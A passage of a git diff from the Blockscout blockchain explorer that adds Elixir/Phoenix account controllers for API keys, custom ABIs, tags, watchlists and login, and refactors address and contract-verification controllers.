uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, transaction_tag} <- + TagTransaction.update( + reject_nil_map_values(%{ + id: tag_id, + name: attrs["name"], + transaction_hash: attrs["transaction_hash"], + identity_id: identity.id + }) + ) do + conn + |> put_status(200) + |> render(:transaction_tag, %{transaction_tag: transaction_tag}) + end + end + + def api_keys(conn, _params) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + api_keys <- ApiKey.get_api_keys_by_identity_id(identity.id) do + conn + |> put_status(200) + |> render(:api_keys, %{api_keys: api_keys}) + end + end + + def delete_api_key(conn, %{"api_key" => api_key_uuid}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {count, _} <- ApiKey.delete(api_key_uuid, identity.id), + {:api_key_delete, true} <- {:api_key_delete, count > 0} do + conn + |> put_status(200) + |> render(:message, %{message: @ok_message}) + end + end + + def create_api_key(conn, %{"name" => api_key_name}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, api_key} <- + ApiKey.create(%{name: api_key_name, identity_id: identity.id}) do + conn + |> put_status(200) + |> render(:api_key, %{api_key: api_key}) + end + end + + def update_api_key(conn, %{"name" => api_key_name, "api_key" => api_key_value}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, api_key} <- + ApiKey.update(%{value: api_key_value, name: api_key_name, identity_id: identity.id}) do + conn + |> put_status(200) + |> render(:api_key, %{api_key: api_key}) + end + end + + def custom_abis(conn, _params) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + custom_abis <- CustomABI.get_custom_abis_by_identity_id(identity.id) do + conn + |> put_status(200) + |> render(:custom_abis, %{custom_abis: custom_abis}) + end + end + + def delete_custom_abi(conn, %{"id" => id}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {count, _} <- CustomABI.delete(id, identity.id), + {:custom_abi_delete, true} <- {:custom_abi_delete, count > 0} do + conn + |> put_status(200) + |> render(:message, %{message: @ok_message}) + end + end + + def create_custom_abi(conn, %{"contract_address_hash" => contract_address_hash, "name" => name, "abi" => abi}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, custom_abi} <- + CustomABI.create(%{ + name: name, + address_hash: contract_address_hash, + abi: abi, + identity_id: identity.id + }) do + conn + |> put_status(200) + |> render(:custom_abi, %{custom_abi: custom_abi}) + end + end + + def update_custom_abi( + conn, + %{ + "id" => id + } = params + ) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, custom_abi} <- + CustomABI.update( + reject_nil_map_values(%{ + id: id, + name: params["name"], + address_hash: params["contract_address_hash"], + abi: params["abi"], + identity_id: identity.id + }) + ) do + conn + |> put_status(200) + |> render(:custom_abi, %{custom_abi: custom_abi}) + end + end + + def get_csrf(conn, _) do + with {:auth, %{id: _}} <- {:auth, current_user(conn)} do + conn + |> put_resp_header("x-bs-account-csrf", CSRFProtection.get_csrf_token()) + |> put_status(200) + |> render(:message, %{message: "ok"}) + end + end + + defp reject_nil_map_values(map) when is_map(map) do + Map.reject(map, fn {_k, v} -> is_nil(v) end) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api_key_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api_key_controller.ex new file mode 100644 index 000000000000..55c0b05283b6 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api_key_controller.ex @@ -0,0 +1,65 @@ +defmodule BlockScoutWeb.Account.ApiKeyController do + use BlockScoutWeb, :controller + + alias Explorer.Account.Api.Key, as: ApiKey + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + + def new(conn, _params) do + authenticate!(conn) + + render(conn, "form.html", method: :create, api_key: empty_api_key()) + end + + def create(conn, %{"key" => api_key}) do + current_user = authenticate!(conn) + + case ApiKey.create(%{name: api_key["name"], identity_id: current_user.id}) do + {:ok, _} -> + redirect(conn, to: api_key_path(conn, :index)) + + {:error, invalid_api_key} -> + render(conn, "form.html", method: :create, api_key: invalid_api_key) + end + end + + def create(conn, _) do + redirect(conn, to: api_key_path(conn, :index)) + end + + def index(conn, _params) do + current_user = authenticate!(conn) + + render(conn, "index.html", api_keys: ApiKey.get_api_keys_by_identity_id(current_user.id)) + end + + def edit(conn, %{"id" => api_key}) do + current_user = authenticate!(conn) + + case ApiKey.get_api_key_by_value_and_identity_id(api_key, current_user.id) do + nil -> + not_found(conn) + + %ApiKey{} = api_key -> + render(conn, "form.html", method: :update, api_key: ApiKey.changeset(api_key)) + end + end + + def update(conn, %{"id" => api_key, "key" => %{"value" => api_key, "name" => name}}) do + current_user = authenticate!(conn) + + ApiKey.update(%{value: api_key, identity_id: current_user.id, name: name}) + + redirect(conn, to: api_key_path(conn, :index)) + end + + def delete(conn, %{"id" => api_key}) do + current_user = authenticate!(conn) + + ApiKey.delete(api_key, current_user.id) + + redirect(conn, to: api_key_path(conn, :index)) + end + + defp empty_api_key, do: ApiKey.changeset() +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/auth_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/auth_controller.ex new file mode 100644 index 000000000000..2c4bbc066d6c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/auth_controller.ex @@ -0,0 +1,106 @@ +defmodule BlockScoutWeb.Account.AuthController do + use BlockScoutWeb, :controller + + alias Explorer.Account + alias Explorer.Account.Identity + alias Explorer.Repo.ConfigHelper + alias Plug.CSRFProtection + + plug(Ueberauth) + + def request(conn, _) do + not_found(conn) + end + + def logout(conn, _params) do + conn + |> configure_session(drop: true) + |> redirect(to: root()) + end + + def profile(conn, _params), + do: conn |> get_session(:current_user) |> do_profile(conn) + + defp do_profile(nil, conn), + do: redirect(conn, to: root()) + + defp do_profile(%{} = user, conn), + do: render(conn, :profile, user: user) + + def callback(%{assigns: %{ueberauth_failure: _fails}} = conn, _params) do + conn + |> put_flash(:error, "Failed to authenticate.") + |> redirect(to: root()) + end + + def callback(%{assigns: %{ueberauth_auth: auth}} = conn, params) do + case Identity.find_or_create(auth) do + {:ok, %{email_verified: false} = user} -> + conn + |> put_session(:current_user, user) + |> put_resp_cookie(Application.get_env(:block_scout_web, :invalid_session_key), user, + max_age: Application.get_env(:block_scout_web, :session_cookie_ttl), + sign: true, + same_site: "Lax", + domain: Application.get_env(:block_scout_web, :cookie_domain) + ) + |> redirect(to: root()) + + {:ok, user} -> + CSRFProtection.get_csrf_token() + + conn + |> put_session(:current_user, user) + |> delete_resp_cookie(Application.get_env(:block_scout_web, :invalid_session_key)) + |> redirect(to: redirect_path(params["path"])) + + {:error, reason} -> + conn + |> put_flash(:error, reason) + |> redirect(to: root()) + end + end + + def callback(conn, _) do + not_found(conn) + end + + # for importing in other controllers + def authenticate!(conn) do + current_user(conn) || redirect(conn, to: root()) + end + + def current_user(%{private: %{plug_session: %{"current_user" => _}}} = conn) do + if Account.enabled?() do + conn + |> get_session(:current_user) + |> check_email_verification() + else + nil + end + end + + def current_user(_), do: nil + + defp check_email_verification(%{email_verified: true} = session), do: session + defp check_email_verification(_), do: nil + + defp root do + ConfigHelper.network_path() + end + + defp redirect_path(path) when is_binary(path) do + case URI.parse(path) do + %URI{path: "/" <> path} -> + "/" <> path + + %URI{path: path} when is_binary(path) -> + "/" <> path + + _ -> + root() + end + end + + defp redirect_path(_), do: root() +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/custom_abi_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/custom_abi_controller.ex new file mode 100644 index 000000000000..dcd8fca985e4 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/custom_abi_controller.ex @@ -0,0 +1,87 @@ +defmodule BlockScoutWeb.Account.CustomABIController do + use BlockScoutWeb, :controller + + alias Ecto.Changeset + alias Explorer.Account.CustomABI + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + + def new(conn, _params) do + authenticate!(conn) + + render(conn, "form.html", method: :create, custom_abi: empty_custom_abi()) + end + + def create(conn, %{"custom_abi" => custom_abi}) do + current_user = authenticate!(conn) + + case CustomABI.create(%{ + name: custom_abi["name"], + address_hash: custom_abi["address_hash"], + abi: custom_abi["abi"], + identity_id: current_user.id + }) do + {:ok, _} -> + redirect(conn, to: custom_abi_path(conn, :index)) + + {:error, invalid_custom_abi} -> + render(conn, "form.html", method: :create, custom_abi: invalid_custom_abi) + end + end + + def create(conn, _) do + redirect(conn, to: custom_abi_path(conn, :index)) + end + + def index(conn, _params) do + current_user = authenticate!(conn) + + render(conn, "index.html", custom_abis: CustomABI.get_custom_abis_by_identity_id(current_user.id)) + end + + def edit(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + case CustomABI.get_custom_abi_by_id_and_identity_id(id, current_user.id) do + nil -> + not_found(conn) + + %CustomABI{} = custom_abi -> + render(conn, "form.html", method: :update, custom_abi: CustomABI.changeset_without_constraints(custom_abi)) + end + end + + def update(conn, %{"id" => id, "custom_abi" => %{"abi" => abi, "name" => name, "address_hash" => address_hash}}) do + current_user = authenticate!(conn) + + case CustomABI.update(%{ + id: id, + name: name, + address_hash: address_hash, + abi: abi, + identity_id: current_user.id + }) do + {:error, %Changeset{} = custom_abi} -> + render(conn, "form.html", method: :update, custom_abi: custom_abi) + + _ -> + redirect(conn, to: custom_abi_path(conn, :index)) + end + end + + def update(conn, _) do + authenticate!(conn) + + redirect(conn, to: custom_abi_path(conn, :index)) + end + + def delete(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + CustomABI.delete(id, current_user.id) + + redirect(conn, to: custom_abi_path(conn, :index)) + end + + defp empty_custom_abi, do: CustomABI.changeset_without_constraints() +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_address_controller.ex new file mode 100644 index 000000000000..8ca30a959b69 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_address_controller.ex @@ -0,0 +1,49 @@ +defmodule BlockScoutWeb.Account.TagAddressController do + use BlockScoutWeb, :controller + + alias Explorer.Account.TagAddress + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + + def index(conn, _params) do + current_user = authenticate!(conn) + + render(conn, "index.html", address_tags: TagAddress.get_tags_address_by_identity_id(current_user.id)) + end + + def new(conn, _params) do + authenticate!(conn) + + render(conn, "form.html", tag_address: new_tag()) + end + + def create(conn, %{"tag_address" => tag_address}) do + current_user = authenticate!(conn) + + case TagAddress.create(%{ + name: tag_address["name"], + address_hash: tag_address["address_hash"], + identity_id: current_user.id + }) do + {:ok, _} -> + redirect(conn, to: tag_address_path(conn, :index)) + + {:error, invalid_tag_address} -> + render(conn, "form.html", tag_address: invalid_tag_address) + end + end + + def create(conn, _) do + redirect(conn, to: tag_address_path(conn, :index)) + end + + def delete(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + TagAddress.delete(id, current_user.id) + + redirect(conn, to: tag_address_path(conn, :index)) + end + + defp new_tag, do: TagAddress.changeset() +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_transaction_controller.ex new file mode 100644 index 000000000000..4a4c8fca3773 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/tag_transaction_controller.ex @@ -0,0 +1,49 @@ +defmodule BlockScoutWeb.Account.TagTransactionController do + use BlockScoutWeb, :controller + + alias Explorer.Account.TagTransaction + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + + def index(conn, _params) do + current_user = authenticate!(conn) + + render(conn, "index.html", transaction_tags: TagTransaction.get_tags_transaction_by_identity_id(current_user.id)) + end + + def new(conn, _params) do + authenticate!(conn) + + render(conn, "form.html", tag_transaction: new_tag()) + end + + def create(conn, %{"tag_transaction" => tag_address}) do + current_user = authenticate!(conn) + + case TagTransaction.create(%{ + name: tag_address["name"], + transaction_hash: tag_address["transaction_hash"], + identity_id: current_user.id + }) do + {:ok, _} -> + redirect(conn, to: tag_transaction_path(conn, :index)) + + {:error, invalid_tag_transaction} -> + render(conn, "form.html", tag_transaction: invalid_tag_transaction) + end + end + + def create(conn, _) do + redirect(conn, to: tag_transaction_path(conn, :index)) + end + + def delete(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + TagTransaction.delete(id, current_user.id) + + redirect(conn, to: tag_transaction_path(conn, :index)) + end + + defp new_tag, do: TagTransaction.changeset() +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_address_controller.ex new file mode 100644 index 000000000000..55236895a427 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_address_controller.ex @@ -0,0 +1,92 @@ +defmodule BlockScoutWeb.Account.WatchlistAddressController do + use BlockScoutWeb, :controller + + alias Explorer.Account.WatchlistAddress + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + + def new(conn, _params) do + authenticate!(conn) + + render(conn, "form.html", method: :create, watchlist_address: empty_watchlist_address()) + end + + def create(conn, %{"watchlist_address" => wa_params}) do + current_user = authenticate!(conn) + + case WatchlistAddress.create(params_to_attributes(wa_params, current_user.watchlist_id)) do + {:ok, _watchlist_address} -> + redirect(conn, to: watchlist_path(conn, :show)) + + {:error, changeset} -> + render(conn, "form.html", method: :create, watchlist_address: changeset) + end + end + + def edit(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + case WatchlistAddress.get_watchlist_address_by_id_and_watchlist_id(id, current_user.watchlist_id) do + nil -> + not_found(conn) + + %WatchlistAddress{} = watchlist_address -> + render(conn, "form.html", method: :update, watchlist_address: WatchlistAddress.changeset(watchlist_address)) + end + end + + def update(conn, %{"id" => id, "watchlist_address" => wa_params}) do + current_user = authenticate!(conn) + + case wa_params + |> params_to_attributes(current_user.watchlist_id) + |> Map.put(:id, id) + |> WatchlistAddress.update() do + {:ok, _watchlist_address} -> + redirect(conn, to: watchlist_path(conn, :show)) + + {:error, changeset} -> + render(conn, "form.html", method: :update, watchlist_address: changeset) + end + end + + def delete(conn, %{"id" => id}) do + current_user = authenticate!(conn) + + WatchlistAddress.delete(id, current_user.watchlist_id) + + redirect(conn, to: watchlist_path(conn, :show)) + end + + defp empty_watchlist_address, do: WatchlistAddress.changeset() + + defp params_to_attributes( + %{ + "address_hash" => address_hash, + "name" => name, + "watch_coin_input" => watch_coin_input, + "watch_coin_output" => watch_coin_output, + "watch_erc_20_input" => watch_erc_20_input, + "watch_erc_20_output" => watch_erc_20_output, + "watch_erc_721_input" => watch_nft_input, + "watch_erc_721_output" => watch_nft_output, + "notify_email" => notify_email + }, + watchlist_id + ) do + %{ + address_hash: address_hash, + name: name, + watch_coin_input: watch_coin_input, + watch_coin_output: watch_coin_output, + watch_erc_20_input: watch_erc_20_input, + watch_erc_20_output: watch_erc_20_output, + watch_erc_721_input: watch_nft_input, + watch_erc_721_output: watch_nft_output, + watch_erc_1155_input: watch_nft_input, + watch_erc_1155_output: watch_nft_output, + notify_email: notify_email, + watchlist_id: watchlist_id + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_controller.ex new file mode 100644 index 000000000000..f8c548322f44 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/watchlist_controller.ex @@ -0,0 +1,26 @@ +defmodule BlockScoutWeb.Account.WatchlistController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [authenticate!: 1] + import Ecto.Query, only: [from: 2] + + alias Explorer.Account.{Watchlist, WatchlistAddress} + alias Explorer.Repo + + def show(conn, _params) do + current_user = authenticate!(conn) + + render( + conn, + "show.html", + watchlist: watchlist_with_addresses(current_user) + ) + end + + defp watchlist_with_addresses(user) do + Watchlist + |> Repo.account_repo().get(user.watchlist_id) + |> Repo.account_repo().preload(watchlist_addresses: from(wa in WatchlistAddress, order_by: [desc: wa.id])) + |> WatchlistAddress.preload_address_fetched_coin_balance() + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_by_day_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_by_day_controller.ex index 030f80a88d72..10833909ced1 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_by_day_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_by_day_controller.ex @@ -5,12 +5,12 @@ defmodule BlockScoutWeb.AddressCoinBalanceByDayController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do balances_by_day = address_hash |> Chain.address_to_balances_by_day() diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_controller.ex index b024c102a0bd..8c44303247a2 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_coin_balance_controller.ex @@ -5,22 +5,23 @@ defmodule BlockScoutWeb.AddressCoinBalanceController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] - alias BlockScoutWeb.{AccessHelpers, AddressCoinBalanceView, Controller} + alias BlockScoutWeb.{AccessHelper, AddressCoinBalanceView, Controller} alias Explorer.{Chain, Market} - alias Explorer.Chain.{Address, Wei} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.{Address, Address.CoinBalance, Wei} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - :ok <- Chain.check_address_exists(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, address} <- Chain.hash_to_address(address_hash, []), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do full_options = paging_options(params) - coin_balances_plus_one = Chain.address_to_coin_balances(address_hash, full_options) + coin_balances_plus_one = CoinBalance.address_to_coin_balances(address, full_options) {coin_balances, next_page} = split_list_by_page(coin_balances_plus_one) @@ -53,7 +54,7 @@ defmodule BlockScoutWeb.AddressCoinBalanceController do {:restricted_access, _} -> not_found(conn) - :not_found -> + {:error, :not_found} -> case Chain.Hash.Address.validate(address_hash_string) do {:ok, _} -> json(conn, %{items: [], next_page_path: ""}) @@ -68,15 +69,18 @@ defmodule BlockScoutWeb.AddressCoinBalanceController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render(conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), current_path: Controller.current_full_path(conn), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> @@ -98,10 +102,11 @@ defmodule BlockScoutWeb.AddressCoinBalanceController do conn, "index.html", address: address, - coin_balance_status: nil, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) _ -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_controller.ex index a2f1d30cbb56..79460fa4017f 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_controller.ex @@ -2,34 +2,40 @@ defmodule BlockScoutWeb.AddressContractController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers - alias BlockScoutWeb.AddressContractVerificationController, as: VerificationController + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.AccessHelper alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.Address + alias Explorer.SmartContract.Solidity.PublishHelper + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, - :smart_contract => :optional, + [smart_contract: :smart_contract_additional_sources] => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: ip ] with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params), - _ <- VerificationController.check_and_verify(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + _ <- PublishHelper.sourcify_check(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}) + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_controller.ex index 7a56e647a483..60f4720aef37 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_controller.ex @@ -1,19 +1,17 @@ defmodule BlockScoutWeb.AddressContractVerificationController do use BlockScoutWeb, :controller - alias BlockScoutWeb.API.RPC.ContractController alias BlockScoutWeb.Controller - alias Ecto.Changeset - alias Explorer.Chain alias Explorer.Chain.Events.Publisher, as: EventsPublisher alias Explorer.Chain.SmartContract alias Explorer.SmartContract.{CompilerVersion, Solidity.CodeCompiler} alias Explorer.SmartContract.Solidity.PublisherWorker, as: SolidityPublisherWorker + alias Explorer.SmartContract.Solidity.PublishHelper alias Explorer.SmartContract.Vyper.PublisherWorker, as: VyperPublisherWorker alias Explorer.ThirdPartyIntegrations.Sourcify def new(conn, %{"address_id" => address_hash_string}) do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do address_contract_path = conn |> address_contract_path(:index, address_hash_string) @@ -39,7 +37,7 @@ defmodule BlockScoutWeb.AddressContractVerificationController do render(conn, "new.html", changeset: changeset, compiler_versions: compiler_versions, - evm_versions: CodeCompiler.allowed_evm_versions(), + evm_versions: CodeCompiler.evm_versions(:solidity), address_hash: address_hash_string ) end @@ -57,7 +55,7 @@ defmodule BlockScoutWeb.AddressContractVerificationController do files_array = files |> Map.values() - |> read_files() + |> PublishHelper.read_files() Que.add(SolidityPublisherWorker, {"multipart", smart_contract, files_array, external_libraries, conn}) @@ -85,9 +83,9 @@ defmodule BlockScoutWeb.AddressContractVerificationController do "verification_type" => "json:standard" } ) do - files_array = prepare_files_array(files) + files_array = PublishHelper.prepare_files_array(files) - with %Plug.Upload{path: path} <- get_one_json(files_array), + with %Plug.Upload{path: path} <- PublishHelper.get_one_json(files_array), {:ok, json_input} <- File.read(path) do Que.add(SolidityPublisherWorker, {"json_web", smart_contract, json_input, conn}) else @@ -118,14 +116,14 @@ defmodule BlockScoutWeb.AddressContractVerificationController do "verification_type" => "json:metadata" } ) do - files_array = prepare_files_array(files) + files_array = PublishHelper.prepare_files_array(files) - json_file = get_one_json(files_array) + json_file = PublishHelper.get_one_json(files_array) if json_file do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do EventsPublisher.broadcast( - prepare_verification_error( + PublishHelper.prepare_verification_error( "This contract already verified in Blockscout.", address_hash_string, conn @@ -133,17 +131,11 @@ defmodule BlockScoutWeb.AddressContractVerificationController do :on_demand ) else - case Sourcify.check_by_address(address_hash_string) do - {:ok, _verified_status} -> - get_metadata_and_publish(address_hash_string, conn) - - _ -> - verify_and_publish(address_hash_string, files_array, conn) - end + check_in_sourcify(address_hash_string, files_array, conn) end else EventsPublisher.broadcast( - prepare_verification_error( + PublishHelper.prepare_verification_error( "Please attach JSON file with metadata of contract's compilation.", address_hash_string, conn @@ -161,149 +153,13 @@ defmodule BlockScoutWeb.AddressContractVerificationController do send_resp(conn, 204, "") end - defp verify_and_publish(address_hash_string, files_array, conn) do - with {:ok, _verified_status} <- Sourcify.verify(address_hash_string, files_array), - {:ok, _verified_status} <- Sourcify.check_by_address(address_hash_string) do - get_metadata_and_publish(address_hash_string, conn) - else - {:error, "partial"} -> - {:ok, status, metadata} = Sourcify.check_by_address_any(address_hash_string) - process_metadata_and_publish(address_hash_string, metadata, status == "partial", conn) - - {:error, %{"error" => error}} -> - EventsPublisher.broadcast( - prepare_verification_error(error, address_hash_string, conn), - :on_demand - ) - - {:error, error} -> - EventsPublisher.broadcast( - prepare_verification_error(error, address_hash_string, conn), - :on_demand - ) + defp check_in_sourcify(address_hash_string, files_array, conn) do + case Sourcify.check_by_address(address_hash_string) do + {:ok, _verified_status} -> + PublishHelper.get_metadata_and_publish(address_hash_string, conn) _ -> - EventsPublisher.broadcast( - prepare_verification_error("Unexpected error", address_hash_string, conn), - :on_demand - ) - end - end - - def get_metadata_and_publish(address_hash_string, conn) do - case Sourcify.get_metadata(address_hash_string) do - {:ok, verification_metadata} -> - process_metadata_and_publish(address_hash_string, verification_metadata, false, conn) - - {:error, %{"error" => error}} -> - return_sourcify_error(conn, error, address_hash_string) - end - end - - defp process_metadata_and_publish(address_hash_string, verification_metadata, is_partial, conn \\ nil) do - case Sourcify.parse_params_from_sourcify(address_hash_string, verification_metadata) do - %{ - "params_to_publish" => params_to_publish, - "abi" => abi, - "secondary_sources" => secondary_sources, - "compilation_target_file_path" => compilation_target_file_path - } -> - ContractController.publish(conn, %{ - "addressHash" => address_hash_string, - "params" => Map.put(params_to_publish, "partially_verified", is_partial), - "abi" => abi, - "secondarySources" => secondary_sources, - "compilationTargetFilePath" => compilation_target_file_path - }) - - {:error, :metadata} -> - return_sourcify_error(conn, Sourcify.no_metadata_message(), address_hash_string) - - _ -> - return_sourcify_error(conn, Sourcify.failed_verification_message(), address_hash_string) - end - end - - defp return_sourcify_error(nil, error, _address_hash_string) do - {:error, error: error} - end - - defp return_sourcify_error(conn, error, address_hash_string) do - EventsPublisher.broadcast( - prepare_verification_error(error, address_hash_string, conn), - :on_demand - ) - end - - def prepare_files_array(files) do - if is_map(files), do: Enum.map(files, fn {_, file} -> file end), else: [] - end - - defp get_one_json(files_array) do - files_array - |> Enum.filter(fn file -> file.content_type == "application/json" end) - |> Enum.at(0) - end - - # sobelow_skip ["Traversal.FileModule"] - defp read_files(plug_uploads) do - Enum.reduce(plug_uploads, %{}, fn %Plug.Upload{path: path, filename: file_name}, acc -> - {:ok, file_content} = File.read(path) - Map.put(acc, file_name, file_content) - end) - end - - defp prepare_verification_error(msg, address_hash_string, conn) do - [ - {:contract_verification_result, - {address_hash_string, - {:error, - %Changeset{ - action: :insert, - errors: [ - file: {msg, []} - ], - data: %SmartContract{address_hash: address_hash_string}, - valid?: false - }}, conn}} - ] - end - - def parse_optimization_runs(%{"runs" => runs}) do - case Integer.parse(runs) do - {integer, ""} -> integer - _ -> 200 - end - end - 